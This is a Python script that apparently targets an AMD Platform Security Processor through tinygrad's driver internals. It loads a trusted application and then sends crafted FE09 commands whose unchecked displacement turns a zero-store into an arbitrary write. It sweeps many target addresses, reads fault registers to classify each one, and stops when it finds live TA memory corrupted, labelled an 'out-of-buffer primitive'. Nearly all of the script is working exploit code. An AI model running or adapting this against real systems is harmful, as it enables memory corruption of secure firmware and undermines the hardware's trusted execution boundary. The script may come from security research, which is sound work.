#!/usr/bin/env python3
"""Map the TA's writable address space by sweeping the FE09 zero-store across the high window.

The store (sub_402EBC @ PC 0x402fa0) is  *(params + 0x418 + D) = 0  and runs unconditionally
for *(params+0x10) < 0x10000000.  target = 0x04013000 + 0x418 + D (mod 2^32).

A store that LANDS does not wedge the ring, so we can test many targets in one power cycle and
stop at the first fault.  Per target:
    * status != FAULT               -> target mapped + writable (shared buffer, a neighbouring
                                       allocation, or DEAD TA memory). Keep going.
    * FAULT, pc == 0x402fa0         -> the store faulted; read DFSR (C2PMSG_85):
                                         0x805 => section translation fault (UNMAPPED)
                                         perm  => mapped but READ-ONLY here
    * FAULT, pc != 0x402fa0         -> we got PAST the store and corrupted LIVE TA memory
                                       (stack/heap) => OUT-OF-BUFFER CORRUPTION PRIMITIVE.

The TA's private heap/stack live in high-window sections (svc_7D_map_region => VA 0x1000000 +
idx*0x100000; params is idx 48 = 0x4000000).  We sweep around idx 48 both directions plus a few
far points, and dump a wide C2PMSG frame on the terminal fault.
"""
import struct, sys
sys.path.insert(0, '/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl
psp = adev.psp

PARAMS_VA = 0x04013000
BASE = PARAMS_VA + 0x418
STORE_PC = 0x402fa0
def c2p(n): return getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n).read() & 0xFFFFFFFF
def frame(): return tuple(c2p(n) for n in range(82, 89))     # word0..word6 (word2=PC, word4=addr, word3=DFSR? -> C2P85)
def wide(): return {n: c2p(n) for n in range(78, 96)}

def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
    return pa, adev.paddr2mc(pa)

app_pa, app_mc = alloc(0x80000)
blob = open('/root/psp/contall/ta_22-0-0-77_7c426e7f.bin', 'rb').read()
BUFLEN = 0x8000
cp, cmc = alloc(BUFLEN)

def load():
    n = (len(blob) + 3) & ~3
    adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32; t.app_len = len(blob)
    t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32; t.cmd_buf_len = BUFLEN
    try:
        r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id
    except Exception:
        return -1, None

def fe09(sid, disp):
    buf = bytearray(b'\x00' * BUFLEN)
    struct.pack_into('<I', buf, 0, 0xFE09); struct.pack_into('<I', buf, 0x10, 0)
    for o in (0x414, 0x818): struct.pack_into('<I', buf, o, 0xFFFFFFFB)
    struct.pack_into('<I', buf, 0x820, 1); struct.pack_into('<I', buf, 0x828, disp & 0xFFFFFFFF)
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, 0xFE09
    try: return psp._ring_submit(c).resp.status & 0xFFFFFFFF
    except Exception: return -1

f0 = frame()
st, sid = load()
print('load=%#x sid=%s BUFLEN=%#x f0=%s' % (st, sid, BUFLEN, [hex(x) for x in f0]), flush=True)
if sid is None: raise SystemExit('load failed')

idx = lambda i: 0x1000000 + i * 0x100000
TARGETS = [('control buf+0x200', PARAMS_VA + 0x200)]
# ascending through the shared window and beyond, then below params, then far
for v in (0x4014000, 0x4018000, 0x4020000, 0x4040000, 0x4080000,
          idx(49), idx(50), idx(51), idx(52), idx(56), idx(60), idx(64),
          idx(47), idx(46), idx(44), idx(40), idx(32),
          0x4000000, 0x3000000, 0x2000000, 0x1000000, 0x5000000, 0x8000000):
    TARGETS.append(('%#x' % v, v))

print('\n%-20s %-12s %-8s %s' % ('target', 'D', 'status', 'verdict'), flush=True)
term = None
for name, t in TARGETS:
    D = (t - BASE) & 0xFFFFFFFF
    st2 = fe09(sid, D)
    fr = frame()
    faulted = (st2 == -1) or (fr != f0)
    if faulted:
        pc, dfsr, fa = fr[2], fr[3], fr[4]
        kind = ('UNMAPPED' if (dfsr & 0xF) == 0x5 else 'RO/perm(dfsr=%#x)' % dfsr)
        if pc == STORE_PC:
            v = 'FAULT@STORE addr=%#x %s -> not writable' % (fa, kind)
        else:
            v = '*** FAULT@OTHER pc=%#x addr=%#x -> LIVE TA MEM CORRUPTED: out-of-buffer primitive ***' % (pc, fa)
        print('%-20s %#-12x %-8s %s' % (name, D, 'FAULT', v), flush=True)
        term = (name, t, fr); break
    else:
        print('%-20s %#-12x %#-8x %s' % (name, D, st2, 'landed (mapped+writable)'), flush=True)

print('\nterminal fault wide frame (C2PMSG 78..95):', flush=True)
for n, v in wide().items():
    print('  C2P%-3d %#010x' % (n, v), flush=True)
print('ring:', 'WEDGED' if frame() != f0 else 'alive', flush=True)